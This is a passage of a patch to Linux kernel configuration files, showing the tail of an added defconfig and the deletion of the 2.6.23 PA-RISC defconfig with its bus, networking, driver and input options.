+# CONFIG_DEBUG_SHIRQ is not set
+CONFIG_DETECT_SOFTLOCKUP=y
+CONFIG_SCHED_DEBUG=y
+# CONFIG_SCHEDSTATS is not set
+# CONFIG_TIMER_STATS is not set
+# CONFIG_DEBUG_SLAB is not set
+# CONFIG_DEBUG_RT_MUTEXES is not set
+# CONFIG_RT_MUTEX_TESTER is not set
+# CONFIG_DEBUG_SPINLOCK is not set
+CONFIG_DEBUG_MUTEXES=y
+# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
+# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
+# CONFIG_DEBUG_KOBJECT is not set
+CONFIG_DEBUG_BUGVERBOSE=y
+# CONFIG_DEBUG_INFO is not set
+# CONFIG_DEBUG_VM is not set
+# CONFIG_DEBUG_LIST is not set
+CONFIG_FORCED_INLINING=y
+# CONFIG_RCU_TORTURE_TEST is not set
+# CONFIG_FAULT_INJECTION is not set
+# CONFIG_DEBUG_RODATA is not set
+
+#
+# Security options
+#
+CONFIG_KEYS=y
+CONFIG_KEYS_DEBUG_PROC_KEYS=y
+# CONFIG_SECURITY is not set
+CONFIG_CRYPTO=y
+CONFIG_CRYPTO_ALGAPI=y
+CONFIG_CRYPTO_BLKCIPHER=y
+CONFIG_CRYPTO_HASH=y
+CONFIG_CRYPTO_MANAGER=y
+CONFIG_CRYPTO_HMAC=y
+# CONFIG_CRYPTO_XCBC is not set
+CONFIG_CRYPTO_NULL=m
+CONFIG_CRYPTO_MD4=m
+CONFIG_CRYPTO_MD5=y
+CONFIG_CRYPTO_SHA1=y
+CONFIG_CRYPTO_SHA256=m
+CONFIG_CRYPTO_SHA512=m
+CONFIG_CRYPTO_WP512=m
+CONFIG_CRYPTO_TGR192=m
+# CONFIG_CRYPTO_GF128MUL is not set
+# CONFIG_CRYPTO_ECB is not set
+CONFIG_CRYPTO_CBC=y
+# CONFIG_CRYPTO_PCBC is not set
+# CONFIG_CRYPTO_LRW is not set
+# CONFIG_CRYPTO_XTS is not set
+# CONFIG_CRYPTO_CRYPTD is not set
+CONFIG_CRYPTO_DES=y
+# CONFIG_CRYPTO_FCRYPT is not set
+CONFIG_CRYPTO_BLOWFISH=m
+CONFIG_CRYPTO_TWOFISH=m
+CONFIG_CRYPTO_TWOFISH_COMMON=m
+CONFIG_CRYPTO_SERPENT=m
+CONFIG_CRYPTO_AES=m
+CONFIG_CRYPTO_CAST5=m
+CONFIG_CRYPTO_CAST6=m
+CONFIG_CRYPTO_TEA=m
+CONFIG_CRYPTO_ARC4=m
+CONFIG_CRYPTO_KHAZAD=m
+CONFIG_CRYPTO_ANUBIS=m
+# CONFIG_CRYPTO_SEED is not set
+CONFIG_CRYPTO_DEFLATE=y
+CONFIG_CRYPTO_MICHAEL_MIC=m
+CONFIG_CRYPTO_CRC32C=m
+# CONFIG_CRYPTO_CAMELLIA is not set
+CONFIG_CRYPTO_TEST=m
+# CONFIG_CRYPTO_AUTHENC is not set
+# CONFIG_CRYPTO_HW is not set
+
+#
+# Library routines
+#
+CONFIG_BITREVERSE=y
+CONFIG_CRC_CCITT=m
+# CONFIG_CRC16 is not set
+# CONFIG_CRC_ITU_T is not set
+CONFIG_CRC32=y
+# CONFIG_CRC7 is not set
+CONFIG_LIBCRC32C=m
+CONFIG_ZLIB_INFLATE=y
+CONFIG_ZLIB_DEFLATE=y
+CONFIG_PLIST=y
+CONFIG_HAS_IOMEM=y
+CONFIG_HAS_IOPORT=y
+CONFIG_HAS_DMA=y
diff --git a/arch/parisc/defconfig b/arch/parisc/defconfig
deleted file mode 100644
index 448a757..0000000
--- a/arch/parisc/defconfig
+++ /dev/null
@@ -1,1424 +0,0 @@
-#
-# Automatically generated make config: don't edit
-# Linux kernel version: 2.6.23
-# Fri Oct 12 20:54:57 2007
-#
-CONFIG_PARISC=y
-CONFIG_MMU=y
-CONFIG_STACK_GROWSUP=y
-CONFIG_RWSEM_GENERIC_SPINLOCK=y
-# CONFIG_ARCH_HAS_ILOG2_U32 is not set
-# CONFIG_ARCH_HAS_ILOG2_U64 is not set
-CONFIG_GENERIC_FIND_NEXT_BIT=y
-CONFIG_GENERIC_BUG=y
-CONFIG_GENERIC_HWEIGHT=y
-CONFIG_GENERIC_CALIBRATE_DELAY=y
-CONFIG_GENERIC_TIME=y
-CONFIG_GENERIC_HARDIRQS=y
-CONFIG_GENERIC_IRQ_PROBE=y
-CONFIG_IRQ_PER_CPU=y
-CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
-
-#
-# General setup
-#
-CONFIG_EXPERIMENTAL=y
-CONFIG_BROKEN_ON_SMP=y
-CONFIG_INIT_ENV_ARG_LIMIT=32
-CONFIG_LOCALVERSION=""
-# CONFIG_LOCALVERSION_AUTO is not set
-CONFIG_SWAP=y
-CONFIG_SYSVIPC=y
-CONFIG_SYSVIPC_SYSCTL=y
-CONFIG_POSIX_MQUEUE=y
-# CONFIG_BSD_PROCESS_ACCT is not set
-# CONFIG_TASKSTATS is not set
-# CONFIG_USER_NS is not set
-# CONFIG_AUDIT is not set
-CONFIG_IKCONFIG=y
-CONFIG_IKCONFIG_PROC=y
-CONFIG_LOG_BUF_SHIFT=16
-CONFIG_SYSFS_DEPRECATED=y
-# CONFIG_RELAY is not set
-CONFIG_BLK_DEV_INITRD=y
-CONFIG_INITRAMFS_SOURCE=""
-CONFIG_CC_OPTIMIZE_FOR_SIZE=y
-CONFIG_SYSCTL=y
-# CONFIG_EMBEDDED is not set
-CONFIG_SYSCTL_SYSCALL=y
-CONFIG_KALLSYMS=y
-CONFIG_KALLSYMS_ALL=y
-# CONFIG_KALLSYMS_EXTRA_PASS is not set
-CONFIG_HOTPLUG=y
-CONFIG_PRINTK=y
-CONFIG_BUG=y
-CONFIG_ELF_CORE=y
-CONFIG_BASE_FULL=y
-CONFIG_FUTEX=y
-CONFIG_ANON_INODES=y
-CONFIG_EPOLL=y
-CONFIG_SIGNALFD=y
-CONFIG_EVENTFD=y
-CONFIG_SHMEM=y
-CONFIG_VM_EVENT_COUNTERS=y
-CONFIG_SLAB=y
-# CONFIG_SLUB is not set
-# CONFIG_SLOB is not set
-CONFIG_RT_MUTEXES=y
-# CONFIG_TINY_SHMEM is not set
-CONFIG_BASE_SMALL=0
-CONFIG_MODULES=y
-CONFIG_MODULE_UNLOAD=y
-CONFIG_MODULE_FORCE_UNLOAD=y
-# CONFIG_MODVERSIONS is not set
-# CONFIG_MODULE_SRCVERSION_ALL is not set
-CONFIG_KMOD=y
-CONFIG_BLOCK=y
-# CONFIG_LBD is not set
-# CONFIG_BLK_DEV_IO_TRACE is not set
-# CONFIG_LSF is not set
-# CONFIG_BLK_DEV_BSG is not set
-
-#
-# IO Schedulers
-#
-CONFIG_IOSCHED_NOOP=y
-CONFIG_IOSCHED_AS=y
-CONFIG_IOSCHED_DEADLINE=y
-CONFIG_IOSCHED_CFQ=y
-CONFIG_DEFAULT_AS=y
-# CONFIG_DEFAULT_DEADLINE is not set
-# CONFIG_DEFAULT_CFQ is not set
-# CONFIG_DEFAULT_NOOP is not set
-CONFIG_DEFAULT_IOSCHED="anticipatory"
-
-#
-# Processor type and features
-#
-# CONFIG_PA7000 is not set
-CONFIG_PA7100LC=y
-# CONFIG_PA7200 is not set
-# CONFIG_PA7300LC is not set
-# CONFIG_PA8X00 is not set
-CONFIG_PA11=y
-CONFIG_PARISC_PAGE_SIZE_4KB=y
-# CONFIG_PARISC_PAGE_SIZE_16KB is not set
-# CONFIG_PARISC_PAGE_SIZE_64KB is not set
-# CONFIG_SMP is not set
-CONFIG_ARCH_FLATMEM_ENABLE=y
-# CONFIG_PREEMPT_NONE is not set
-CONFIG_PREEMPT_VOLUNTARY=y
-# CONFIG_PREEMPT is not set
-# CONFIG_HZ_100 is not set
-CONFIG_HZ_250=y
-# CONFIG_HZ_300 is not set
-# CONFIG_HZ_1000 is not set
-CONFIG_HZ=250
-CONFIG_SELECT_MEMORY_MODEL=y
-CONFIG_FLATMEM_MANUAL=y
-# CONFIG_DISCONTIGMEM_MANUAL is not set
-# CONFIG_SPARSEMEM_MANUAL is not set
-CONFIG_FLATMEM=y
-CONFIG_FLAT_NODE_MEM_MAP=y
-# CONFIG_SPARSEMEM_STATIC is not set
-CONFIG_SPLIT_PTLOCK_CPUS=4096
-# CONFIG_RESOURCES_64BIT is not set
-CONFIG_ZONE_DMA_FLAG=0
-CONFIG_VIRT_TO_BUS=y
-# CONFIG_HPUX is not set
-
-#
-# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
-#
-CONFIG_GSC=y
-# CONFIG_HPPB is not set
-CONFIG_IOMMU_CCIO=y
-CONFIG_GSC_LASI=y
-CONFIG_GSC_WAX=y
-CONFIG_EISA=y
-CONFIG_EISA_NAMES=y
-# CONFIG_ISA is not set
-CONFIG_PCI=y
-# CONFIG_ARCH_SUPPORTS_MSI is not set
-# CONFIG_PCI_DEBUG is not set
-CONFIG_GSC_DINO=y
-CONFIG_PCI_LBA=y
-CONFIG_IOSAPIC=y
-CONFIG_IOMMU_SBA=y
-
-#
-# PCCARD (PCMCIA/CardBus) support
-#
-CONFIG_PCCARD=y
-# CONFIG_PCMCIA_DEBUG is not set
-CONFIG_PCMCIA=y
-CONFIG_PCMCIA_LOAD_CIS=y
-CONFIG_PCMCIA_IOCTL=y
-CONFIG_CARDBUS=y
-
-#
-# PC-card bridges
-#
-CONFIG_YENTA=y
-CONFIG_YENTA_O2=y
-CONFIG_YENTA_RICOH=y
-CONFIG_YENTA_TI=y
-CONFIG_YENTA_ENE_TUNE=y
-CONFIG_YENTA_TOSHIBA=y
-CONFIG_PD6729=y
-CONFIG_I82092=y
-CONFIG_PCCARD_NONSTATIC=y
-# CONFIG_HOTPLUG_PCI is not set
-
-#
-# PA-RISC specific drivers
-#
-CONFIG_SUPERIO=y
-CONFIG_CHASSIS_LCD_LED=y
-CONFIG_PDC_CHASSIS=y
-CONFIG_PDC_CHASSIS_WARN=y
-CONFIG_PDC_STABLE=y
-
-#
-# Executable file formats
-#
-CONFIG_BINFMT_ELF=y
-CONFIG_BINFMT_MISC=m
-
-#
-# Networking
-#
-CONFIG_NET=y
-
-#
-# Networking options
-#
-CONFIG_PACKET=y
-CONFIG_PACKET_MMAP=y
-CONFIG_UNIX=y
-CONFIG_XFRM=y
-CONFIG_XFRM_USER=m
-# CONFIG_XFRM_SUB_POLICY is not set
-# CONFIG_XFRM_MIGRATE is not set
-CONFIG_NET_KEY=m
-# CONFIG_NET_KEY_MIGRATE is not set
-CONFIG_INET=y
-CONFIG_IP_MULTICAST=y
-# CONFIG_IP_ADVANCED_ROUTER is not set
-CONFIG_IP_FIB_HASH=y
-CONFIG_IP_PNP=y
-CONFIG_IP_PNP_DHCP=y
-CONFIG_IP_PNP_BOOTP=y
-# CONFIG_IP_PNP_RARP is not set
-# CONFIG_NET_IPIP is not set
-# CONFIG_NET_IPGRE is not set
-# CONFIG_IP_MROUTE is not set
-# CONFIG_ARPD is not set
-# CONFIG_SYN_COOKIES is not set
-CONFIG_INET_AH=m
-CONFIG_INET_ESP=m
-# CONFIG_INET_IPCOMP is not set
-# CONFIG_INET_XFRM_TUNNEL is not set
-CONFIG_INET_TUNNEL=y
-CONFIG_INET_XFRM_MODE_TRANSPORT=y
-CONFIG_INET_XFRM_MODE_TUNNEL=y
-CONFIG_INET_XFRM_MODE_BEET=y
-# CONFIG_INET_LRO is not set
-CONFIG_INET_DIAG=m
-CONFIG_INET_TCP_DIAG=m
-# CONFIG_TCP_CONG_ADVANCED is not set
-CONFIG_TCP_CONG_CUBIC=y
-CONFIG_DEFAULT_TCP_CONG="cubic"
-# CONFIG_TCP_MD5SIG is not set
-CONFIG_IPV6=y
-# CONFIG_IPV6_PRIVACY is not set
-# CONFIG_IPV6_ROUTER_PREF is not set
-# CONFIG_IPV6_OPTIMISTIC_DAD is not set
-CONFIG_INET6_AH=y
-CONFIG_INET6_ESP=y
-CONFIG_INET6_IPCOMP=y
-# CONFIG_IPV6_MIP6 is not set
-CONFIG_INET6_XFRM_TUNNEL=y
-CONFIG_INET6_TUNNEL=y
-CONFIG_INET6_XFRM_MODE_TRANSPORT=y
-CONFIG_INET6_XFRM_MODE_TUNNEL=y
-CONFIG_INET6_XFRM_MODE_BEET=y
-# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
-CONFIG_IPV6_SIT=y
-# CONFIG_IPV6_TUNNEL is not set
-# CONFIG_IPV6_MULTIPLE_TABLES is not set
-# CONFIG_NETWORK_SECMARK is not set
-# CONFIG_NETFILTER is not set
-# CONFIG_IP_DCCP is not set
-# CONFIG_IP_SCTP is not set
-# CONFIG_TIPC is not set
-# CONFIG_ATM is not set
-# CONFIG_BRIDGE is not set
-# CONFIG_VLAN_8021Q is not set
-# CONFIG_DECNET is not set
-CONFIG_LLC=m
-CONFIG_LLC2=m
-# CONFIG_IPX is not set
-# CONFIG_ATALK is not set
-# CONFIG_X25 is not set
-# CONFIG_LAPB is not set
-# CONFIG_ECONET is not set
-# CONFIG_WAN_ROUTER is not set
-
-#
-# QoS and/or fair queueing
-#
-# CONFIG_NET_SCHED is not set
-
-#
-# Network testing
-#
-# CONFIG_NET_PKTGEN is not set
-# CONFIG_HAMRADIO is not set
-# CONFIG_IRDA is not set
-# CONFIG_BT is not set
-# CONFIG_AF_RXRPC is not set
-
-#
-# Wireless
-#
-# CONFIG_CFG80211 is not set
-# CONFIG_WIRELESS_EXT is not set
-# CONFIG_MAC80211 is not set
-# CONFIG_IEEE80211 is not set
-# CONFIG_RFKILL is not set
-# CONFIG_NET_9P is not set
-
-#
-# Device Drivers
-#
-
-#
-# Generic Driver Options
-#
-CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
-# CONFIG_STANDALONE is not set
-# CONFIG_PREVENT_FIRMWARE_BUILD is not set
-CONFIG_FW_LOADER=y
-# CONFIG_DEBUG_DRIVER is not set
-# CONFIG_DEBUG_DEVRES is not set
-# CONFIG_SYS_HYPERVISOR is not set
-# CONFIG_CONNECTOR is not set
-# CONFIG_MTD is not set
-CONFIG_PARPORT=y
-CONFIG_PARPORT_PC=m
-# CONFIG_PARPORT_SERIAL is not set
-# CONFIG_PARPORT_PC_FIFO is not set
-# CONFIG_PARPORT_PC_SUPERIO is not set
-CONFIG_PARPORT_PC_PCMCIA=m
-CONFIG_PARPORT_GSC=y
-# CONFIG_PARPORT_AX88796 is not set
-CONFIG_PARPORT_1284=y
-CONFIG_PARPORT_NOT_PC=y
-CONFIG_BLK_DEV=y
-# CONFIG_PARIDE is not set
-# CONFIG_BLK_CPQ_DA is not set
-# CONFIG_BLK_CPQ_CISS_DA is not set
-# CONFIG_BLK_DEV_DAC960 is not set
-# CONFIG_BLK_DEV_UMEM is not set
-# CONFIG_BLK_DEV_COW_COMMON is not set
-CONFIG_BLK_DEV_LOOP=y
-CONFIG_BLK_DEV_CRYPTOLOOP=y
-# CONFIG_BLK_DEV_NBD is not set
-# CONFIG_BLK_DEV_SX8 is not set
-# CONFIG_BLK_DEV_UB is not set
-CONFIG_BLK_DEV_RAM=y
-CONFIG_BLK_DEV_RAM_COUNT=16
-CONFIG_BLK_DEV_RAM_SIZE=6144
-CONFIG_BLK_DEV_RAM_BLOCKSIZE=1024
-# CONFIG_CDROM_PKTCDVD is not set
-# CONFIG_ATA_OVER_ETH is not set
-CONFIG_MISC_DEVICES=y
-# CONFIG_PHANTOM is not set
-# CONFIG_EEPROM_93CX6 is not set
-# CONFIG_SGI_IOC4 is not set
-# CONFIG_TIFM_CORE is not set
-CONFIG_IDE=y
-CONFIG_BLK_DEV_IDE=y
-
-#
-# Please see Documentation/ide.txt for help/info on IDE drives
-#
-# CONFIG_BLK_DEV_IDE_SATA is not set
-CONFIG_BLK_DEV_IDEDISK=y
-CONFIG_IDEDISK_MULTI_MODE=y
-CONFIG_BLK_DEV_IDECS=y
-# CONFIG_BLK_DEV_DELKIN is not set
-CONFIG_BLK_DEV_IDECD=y
-# CONFIG_BLK_DEV_IDETAPE is not set
-# CONFIG_BLK_DEV_IDEFLOPPY is not set
-CONFIG_BLK_DEV_IDESCSI=y
-# CONFIG_IDE_TASK_IOCTL is not set
-CONFIG_IDE_PROC_FS=y
-
-#
-# IDE chipset support/bugfixes
-#
-CONFIG_IDE_GENERIC=y
-# CONFIG_BLK_DEV_PLATFORM is not set
-
-#
-# PCI IDE chipsets support
-#
-CONFIG_BLK_DEV_IDEPCI=y
-CONFIG_IDEPCI_SHARE_IRQ=y
-CONFIG_IDEPCI_PCIBUS_ORDER=y
-# CONFIG_BLK_DEV_OFFBOARD is not set
-CONFIG_BLK_DEV_GENERIC=y
-# CONFIG_BLK_DEV_OPTI621 is not set
-CONFIG_BLK_DEV_IDEDMA_PCI=y
-# CONFIG_BLK_DEV_IDEDMA_FORCED is not set
-CONFIG_IDEDMA_ONLYDISK=y
-# CONFIG_BLK_DEV_AEC62XX is not set
-# CONFIG_BLK_DEV_ALI15X3 is not set
-# CONFIG_BLK_DEV_AMD74XX is not set
-# CONFIG_BLK_DEV_CMD64X is not set
-# CONFIG_BLK_DEV_TRIFLEX is not set
-# CONFIG_BLK_DEV_CY82C693 is not set
-# CONFIG_BLK_DEV_CS5520 is not set
-# CONFIG_BLK_DEV_CS5530 is not set
-# CONFIG_BLK_DEV_HPT34X is not set
-# CONFIG_BLK_DEV_HPT366 is not set
-# CONFIG_BLK_DEV_JMICRON is not set
-# CONFIG_BLK_DEV_SC1200 is not set
-# CONFIG_BLK_DEV_PIIX is not set
-# CONFIG_BLK_DEV_IT8213 is not set
-# CONFIG_BLK_DEV_IT821X is not set
-CONFIG_BLK_DEV_NS87415=y
-# CONFIG_BLK_DEV_PDC202XX_OLD is not set
-# CONFIG_BLK_DEV_PDC202XX_NEW is not set
-# CONFIG_BLK_DEV_SVWKS is not set
-# CONFIG_BLK_DEV_SIIMAGE is not set
-# CONFIG_BLK_DEV_SLC90E66 is not set
-# CONFIG_BLK_DEV_TRM290 is not set
-# CONFIG_BLK_DEV_VIA82CXXX is not set
-# CONFIG_BLK_DEV_TC86C001 is not set
-# CONFIG_IDE_ARM is not set
-CONFIG_BLK_DEV_IDEDMA=y
-# CONFIG_IDEDMA_IVB is not set
-# CONFIG_BLK_DEV_HD is not set
-
-#
-# SCSI device support
-#
-# CONFIG_RAID_ATTRS is not set
-CONFIG_SCSI=y
-CONFIG_SCSI_DMA=y
-# CONFIG_SCSI_TGT is not set
-# CONFIG_SCSI_NETLINK is not set
-CONFIG_SCSI_PROC_FS=y
-
-#
-# SCSI support type (disk, tape, CD-ROM)
-#
-CONFIG_BLK_DEV_SD=y
-CONFIG_CHR_DEV_ST=y
-# CONFIG_CHR_DEV_OSST is not set
-CONFIG_BLK_DEV_SR=y
-# CONFIG_BLK_DEV_SR_VENDOR is not set
-CONFIG_CHR_DEV_SG=y
-# CONFIG_CHR_DEV_SCH is not set
-
-#
-# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
-#
-# CONFIG_SCSI_MULTI_LUN is not set
-# CONFIG_SCSI_CONSTANTS is not set
-# CONFIG_SCSI_LOGGING is not set
-# CONFIG_SCSI_SCAN_ASYNC is not set
-CONFIG_SCSI_WAIT_SCAN=m
-
-#
-# SCSI Transports
-#
-CONFIG_SCSI_SPI_ATTRS=y
-# CONFIG_SCSI_FC_ATTRS is not set
-# CONFIG_SCSI_ISCSI_ATTRS is not set
-# CONFIG_SCSI_SAS_LIBSAS is not set
-CONFIG_SCSI_LOWLEVEL=y
-# CONFIG_ISCSI_TCP is not set
-# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
-# CONFIG_SCSI_3W_9XXX is not set
-# CONFIG_SCSI_ACARD is not set
-# CONFIG_SCSI_AHA1740 is not set
-# CONFIG_SCSI_AACRAID is not set
-# CONFIG_SCSI_AIC7XXX is not set
-# CONFIG_SCSI_AIC7XXX_OLD is not set
-# CONFIG_SCSI_AIC79XX is not set
-# CONFIG_SCSI_AIC94XX is not set
-# CONFIG_SCSI_DPT_I2O is not set
-# CONFIG_SCSI_ARCMSR is not set
-# CONFIG_MEGARAID_NEWGEN is not set
-# CONFIG_MEGARAID_LEGACY is not set
-# CONFIG_MEGARAID_SAS is not set
-# CONFIG_SCSI_HPTIOP is not set
-# CONFIG_SCSI_DMX3191D is not set
-# CONFIG_SCSI_FUTURE_DOMAIN is not set
-# CONFIG_SCSI_IPS is not set
-# CONFIG_SCSI_INITIO is not set
-# CONFIG_SCSI_INIA100 is not set
-# CONFIG_SCSI_PPA is not set
-# CONFIG_SCSI_IMM is not set
-CONFIG_SCSI_LASI700=y
-CONFIG_53C700_LE_ON_BE=y
-# CONFIG_SCSI_STEX is not set
-CONFIG_SCSI_SYM53C8XX_2=y
-CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
-CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
-CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
-CONFIG_SCSI_SYM53C8XX_MMIO=y
-CONFIG_SCSI_ZALON=y
-CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
-CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
-CONFIG_SCSI_NCR53C8XX_SYNC=20
-# CONFIG_SCSI_QLOGIC_1280 is not set
-# CONFIG_SCSI_QLA_FC is not set
-# CONFIG_SCSI_QLA_ISCSI is not set
-# CONFIG_SCSI_LPFC is not set
-# CONFIG_SCSI_SIM710 is not set
-# CONFIG_SCSI_DC395x is not set
-# CONFIG_SCSI_DC390T is not set
-# CONFIG_SCSI_NSP32 is not set
-# CONFIG_SCSI_DEBUG is not set
-# CONFIG_SCSI_SRP is not set
-# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
-# CONFIG_ATA is not set
-CONFIG_MD=y
-CONFIG_BLK_DEV_MD=y
-CONFIG_MD_LINEAR=y
-CONFIG_MD_RAID0=y
-CONFIG_MD_RAID1=y
-CONFIG_MD_RAID10=y
-# CONFIG_MD_RAID456 is not set
-# CONFIG_MD_MULTIPATH is not set
-# CONFIG_MD_FAULTY is not set
-CONFIG_BLK_DEV_DM=y
-# CONFIG_DM_DEBUG is not set
-# CONFIG_DM_CRYPT is not set
-# CONFIG_DM_SNAPSHOT is not set
-# CONFIG_DM_MIRROR is not set
-# CONFIG_DM_ZERO is not set
-# CONFIG_DM_MULTIPATH is not set
-# CONFIG_DM_DELAY is not set
-
-#
-# Fusion MPT device support
-#
-# CONFIG_FUSION is not set
-# CONFIG_FUSION_SPI is not set
-# CONFIG_FUSION_FC is not set
-# CONFIG_FUSION_SAS is not set
-
-#
-# IEEE 1394 (FireWire) support
-#
-# CONFIG_FIREWIRE is not set
-# CONFIG_IEEE1394 is not set
-# CONFIG_I2O is not set
-CONFIG_NETDEVICES=y
-# CONFIG_NETDEVICES_MULTIQUEUE is not set
-CONFIG_DUMMY=m
-CONFIG_BONDING=m
-# CONFIG_MACVLAN is not set
-# CONFIG_EQUALIZER is not set
-CONFIG_TUN=m
-# CONFIG_VETH is not set
-# CONFIG_IP1000 is not set
-# CONFIG_ARCNET is not set
-# CONFIG_PHYLIB is not set
-CONFIG_NET_ETHERNET=y
-CONFIG_MII=m
-CONFIG_LASI_82596=y
-# CONFIG_HAPPYMEAL is not set
-# CONFIG_SUNGEM is not set
-# CONFIG_CASSINI is not set
-# CONFIG_NET_VENDOR_3COM is not set
-# CONFIG_NET_VENDOR_SMC is not set
-CONFIG_NET_TULIP=y
-# CONFIG_DE2104X is not set
-CONFIG_TULIP=y
-# CONFIG_TULIP_MWI is not set
-# CONFIG_TULIP_MMIO is not set
-# CONFIG_TULIP_NAPI is not set
-# CONFIG_DE4X5 is not set
-# CONFIG_WINBOND_840 is not set
-# CONFIG_DM9102 is not set
-# CONFIG_ULI526X is not set
-# CONFIG_PCMCIA_XIRCOM is not set
-# CONFIG_PCMCIA_XIRTULIP is not set
-# CONFIG_DEPCA is not set
-# CONFIG_HP100 is not set
-# CONFIG_IBM_NEW_EMAC_ZMII is not set
-# CONFIG_IBM_NEW_EMAC_RGMII is not set
-# CONFIG_IBM_NEW_EMAC_TAH is not set
-# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
-CONFIG_NET_PCI=y
-# CONFIG_PCNET32 is not set
-# CONFIG_AMD8111_ETH is not set
-# CONFIG_ADAPTEC_STARFIRE is not set
-# CONFIG_AC3200 is not set
-# CONFIG_B44 is not set
-# CONFIG_FORCEDETH is not set
-# CONFIG_EEPRO100 is not set
-# CONFIG_E100 is not set
-# CONFIG_LNE390 is not set
-# CONFIG_FEALNX is not set
-# CONFIG_NATSEMI is not set
-# CONFIG_NE2K_PCI is not set
-# CONFIG_NE3210 is not set
-# CONFIG_ES3210 is not set
-# CONFIG_8139CP is not set
-# CONFIG_8139TOO is not set
-# CONFIG_SIS900 is not set
-# CONFIG_EPIC100 is not set
-# CONFIG_SUNDANCE is not set
-# CONFIG_TLAN is not set
-# CONFIG_VIA_RHINE is not set
-# CONFIG_SC92031 is not set
-# CONFIG_NET_POCKET is not set
-CONFIG_NETDEV_1000=y
-CONFIG_ACENIC=y
-# CONFIG_ACENIC_OMIT_TIGON_I is not set
-# CONFIG_DL2K is not set
-# CONFIG_E1000 is not set
-# CONFIG_E1000E is not set
-# CONFIG_NS83820 is not set
-# CONFIG_HAMACHI is not set
-# CONFIG_YELLOWFIN is not set
-# CONFIG_R8169 is not set
-# CONFIG_SIS190 is not set
-# CONFIG_SKGE is not set
-# CONFIG_SKY2 is not set
-# CONFIG_SK98LIN is not set
-# CONFIG_VIA_VELOCITY is not set
-CONFIG_TIGON3=y
-# CONFIG_BNX2 is not set
-# CONFIG_QLA3XXX is not set
-# CONFIG_ATL1 is not set
-CONFIG_NETDEV_10000=y
-# CONFIG_CHELSIO_T1 is not set
-# CONFIG_CHELSIO_T3 is not set
-# CONFIG_IXGBE is not set
-# CONFIG_IXGB is not set
-# CONFIG_S2IO is not set
-# CONFIG_MYRI10GE is not set
-# CONFIG_NETXEN_NIC is not set
-# CONFIG_NIU is not set
-# CONFIG_MLX4_CORE is not set
-# CONFIG_TEHUTI is not set
-# CONFIG_TR is not set
-
-#
-# Wireless LAN
-#
-# CONFIG_WLAN_PRE80211 is not set
-# CONFIG_WLAN_80211 is not set
-
-#
-# USB Network Adapters
-#
-# CONFIG_USB_CATC is not set
-# CONFIG_USB_KAWETH is not set
-# CONFIG_USB_PEGASUS is not set
-# CONFIG_USB_RTL8150 is not set
-# CONFIG_USB_USBNET_MII is not set
-# CONFIG_USB_USBNET is not set
-CONFIG_NET_PCMCIA=y
-# CONFIG_PCMCIA_3C589 is not set
-# CONFIG_PCMCIA_3C574 is not set
-# CONFIG_PCMCIA_FMVJ18X is not set
-# CONFIG_PCMCIA_PCNET is not set
-# CONFIG_PCMCIA_NMCLAN is not set
-# CONFIG_PCMCIA_SMC91C92 is not set
-# CONFIG_PCMCIA_XIRC2PS is not set
-# CONFIG_PCMCIA_AXNET is not set
-# CONFIG_WAN is not set
-# CONFIG_FDDI is not set
-# CONFIG_HIPPI is not set
-# CONFIG_PLIP is not set
-CONFIG_PPP=m
-# CONFIG_PPP_MULTILINK is not set
-# CONFIG_PPP_FILTER is not set
-CONFIG_PPP_ASYNC=m
-CONFIG_PPP_SYNC_TTY=m
-CONFIG_PPP_DEFLATE=m
-CONFIG_PPP_BSDCOMP=m
-# CONFIG_PPP_MPPE is not set
-CONFIG_PPPOE=m
-# CONFIG_PPPOL2TP is not set
-# CONFIG_SLIP is not set
-CONFIG_SLHC=m
-# CONFIG_NET_FC is not set
-# CONFIG_SHAPER is not set
-# CONFIG_NETCONSOLE is not set
-# CONFIG_NETPOLL is not set
-# CONFIG_NET_POLL_CONTROLLER is not set
-# CONFIG_ISDN is not set
-# CONFIG_PHONE is not set
-
-#
-# Input device support
-#
-CONFIG_INPUT=y
-# CONFIG_INPUT_FF_MEMLESS is not set
-# CONFIG_INPUT_POLLDEV is not set
-
-#
-# Userland interfaces
-#
-CONFIG_INPUT_MOUSEDEV=y
-CONFIG_INPUT_MOUSEDEV_PSAUX=y
-CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
-CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
-# CONFIG_INPUT_JOYDEV is not set
-# CONFIG_INPUT_TSDEV is not set
-# CONFIG_INPUT_EVDEV is not set
-# CONFIG_INPUT_EVBUG is not set
-
-#
-# Input Device Drivers
-#
-CONFIG_INPUT_KEYBOARD=y
-CONFIG_KEYBOARD_ATKBD=y
-CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
-# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
-# CONFIG_KEYBOARD_SUNKBD is not set
-# CONFIG_KEYBOARD_LKKBD is not set
-# CONFIG_KEYBOARD_XTKBD is not set
-# CONFIG_KEYBOARD_NEWTON is not set
-# CONFIG_KEYBOARD_STOWAWAY is not set
-# CONFIG_KEYBOARD_HIL_OLD is not set
-CONFIG_KEYBOARD_HIL=y
-CONFIG_INPUT_MOUSE=y
-CONFIG_MOUSE_PS2=y
-CONFIG_MOUSE_PS2_ALPS=y
-CONFIG_MOUSE_PS2_LOGIPS2PP=y
-CONFIG_MOUSE_PS2_SYNAPTICS=y
-CONFIG_MOUSE_PS2_LIFEBOOK=y
-CONFIG_MOUSE_PS2_TRACKPOINT=y
-# CONFIG_MOUSE_PS2_TOUCHKIT is not set
-CONFIG_MOUSE_SERIAL=y
-# CONFIG_MOUSE_APPLETOUCH is not set
-# CONFIG_MOUSE_VSXXXAA is not set
-CONFIG_MOUSE_HIL=y
-# CONFIG_INPUT_JOYSTICK is not set
-# CONFIG_INPUT_TABLET is not set
